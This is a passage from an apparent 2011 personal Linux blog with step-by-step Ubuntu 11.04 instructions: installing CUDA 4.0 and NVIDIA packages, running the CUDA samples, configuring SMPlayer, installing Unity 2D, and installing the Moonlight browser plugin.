sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler libnpp4 nvidia-cuda-doc libcudart4 libcublas4 libcufft4 libcusparse4 libcurand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

32-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler lib32npp4 nvidia-cuda-doc lib32cudart4 lib32cublas4 lib32cufft4 lib32cusparse4 lib32curand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

Step 2a :

If you do not have any nVidia driver installed before, you need to do the following command. Otherwise, this step is not required at all.

sudo nvidia-xconfig

Step 3 :

Reboot your system.

Step 4 (Optional) :

To install SMPlayer.

sudo apt-get install smplayer smplayer-translations smplayer-themes

Then set it to use "vdpau" at "Output Driver" at "Preference".

Known issue

Sample codes cannot be compiled successful due to newer C compiler. However, you can download the sample programs which are compiled with C compiler of Ubuntu 10.10. The compiled sample programs are in 64-bit.

sudo apt-get install freeglut3-dev libxi-dev libXmu-dev

tar -xvzf CUDA_4.0_samples_x64.tar.gz
cd CUDA_4.0_samples_x64
./nbody

That's all! See you.

Monday, May 02, 2011

Hints on installation of Ubuntu 11.04

Ubuntu 11.04 comes with a new theme namely Unity. It is a 3D theme that requires 3D display driver.

If you have an nVidia or ATi/AMD display cards, you should install the display driver after the installation of Ubuntu 11.04. Otherwise, you will be in Classic interface instead of Unity.

Or, may be you can install the 2D Unity instead.

sudo apt-get install unity-2d

Furthermore, the 3D Unity will be installed automatically on Intel display card system.

In addition, if you are going to install Ubuntu 11.04 on a laptop or netbook, you should plug in the power cable; otherwise, your interface after the installation will be in a mess.

If you considered to upgrade from 10.10, I recommended to fresh install as some previous settings of Gnome may affect to the new interface - Unity as well as Firefox 4. Before fresh install, please backup all your data.

By the way, if you encounter the blank screen or black screen on Intel display card system, you can refer to this tutorial.

The following is the video which shows you how to operate with the Unity on my remastered Ubuntu Samiux Remix :



That's all! See you.

HOWTO : Moonlight on Ubuntu 11.04

Moonlight is a clone of Microsoft Silverlight for Linux. Ubuntu 11.04 has it in the repository.

Step 1 :

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install libmoon moonlight-plugin-mozilla moonlight-plugin-core


Step 2 :

Go to the official Mono site to download and install the addon for Firefox.

Mono site

Step 3 (Optional) :

Go to Hong Kong Jockey Club website to test the result of the installation. You may required to install Microsoft Video Media Codec. Just do so to install.

After that, restart your Firefox to make the addon works.

Remarks :

When the Firefox is updated to 5.0, the Moonlight is not supported. However, you can download "Add-on Compatibility Reporter" to overcome this problem.

Add-on Compatibility Reporter

That's all! See you.